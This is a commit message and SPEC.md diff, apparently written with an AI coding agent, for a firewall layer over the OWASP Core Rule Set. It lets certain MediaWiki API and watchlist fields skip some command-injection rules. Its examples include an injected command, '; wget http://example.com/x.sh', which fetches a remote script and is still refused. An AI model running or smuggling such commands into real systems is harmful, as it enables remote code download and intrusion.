Core Rule Set: MediaWiki's log, generator and watchlist fields pass (closes #258)

On /api.php, letitle and the generator fields gapto, gapprefix, gaifrom,
gaiprefix and geuquery skip 930120, 932120, 932250 and 932260, as the
fields they stand in for do.

On MediaWiki's pages, wpTitles from Special:EditWatchlist/raw, one title
per line, always skips 930120, 932120 and 932250. It skips 932125,
932230, 932235, 932260 and 932380 only when the body sends it once and it
holds no ";", "|", "&", backtick or "{", checked by a phase 2 rule. So
"; wget http://example.com/x.sh" is still refused.

Recorded from MediaWiki 1.46.2 at the digest the first MediaWiki change
used.

Model: opus-5-5

SPEC.md

@@ -1011,9 +1011,15 @@ requests. The changes hold in front of every app, and no setting undoes them:
         - `from` and `to`, the titles of a page being moved;
         - the starts of lists `apfrom`, `apto`, `apprefix`, `aifrom`,
           `aiprefix`, `aufrom` and `auprefix`;
-        - `gsrsearch`, `gpssearch`, `gapfrom` and `gbltitle`, which a generator
-          sends in place of `srsearch`, `pssearch`, `apfrom` and `bltitle`;
+        - `letitle`, the page whose log is listed;
         - `euquery`, an address;
+        - the fields a generator sends in place of the fields above, each with a
+          `g` in front:
+            - `gsrsearch` and `gpssearch`;
+            - `gapfrom`, `gapto` and `gapprefix`;
+            - `gaifrom` and `gaiprefix`;
+            - `gbltitle`;
+            - `geuquery`;
         - the user names `ucuser`, `bkusers` and `user`;
         - `summary`, `sectiontitle`, `filename`, `comment` and `reason`;
         - `lgname`, `lgpassword`, `username` and `password`, for signing in.
@@ -1034,6 +1040,15 @@ requests. The changes hold in front of every app, and no setting undoes them:
         - `wpReason-other`, for blocking a user;
         - `user-reason`, for changing a user's groups;
         - `mwProtect-reason`, for protecting a page.
+    - On MediaWiki's pages, `wpTitles`, the list of watched pages that
+      `Special:EditWatchlist/raw` sends, one title per line. It always skips
+      930120, 932120 and 932250. It skips 932125, 932230, 932235, 932260 and
+      932380 only when it holds no `;`, `|`, `&`, backtick or `{`. A title
+      starting with a command name, such as `Python3 notes`, passes. So does a
+      command alone on a line, such as `wget http://example.com/x.sh`. A command
+      such as `; wget http://example.com/x.sh` is still refused. So is a list
+      that mixes a title holding one of these characters with a title starting
+      with a command name.
     - The wikitext of a page, which holds templates, tables and any code it
       shows:
         - `wpTextbox1` on MediaWiki's pages;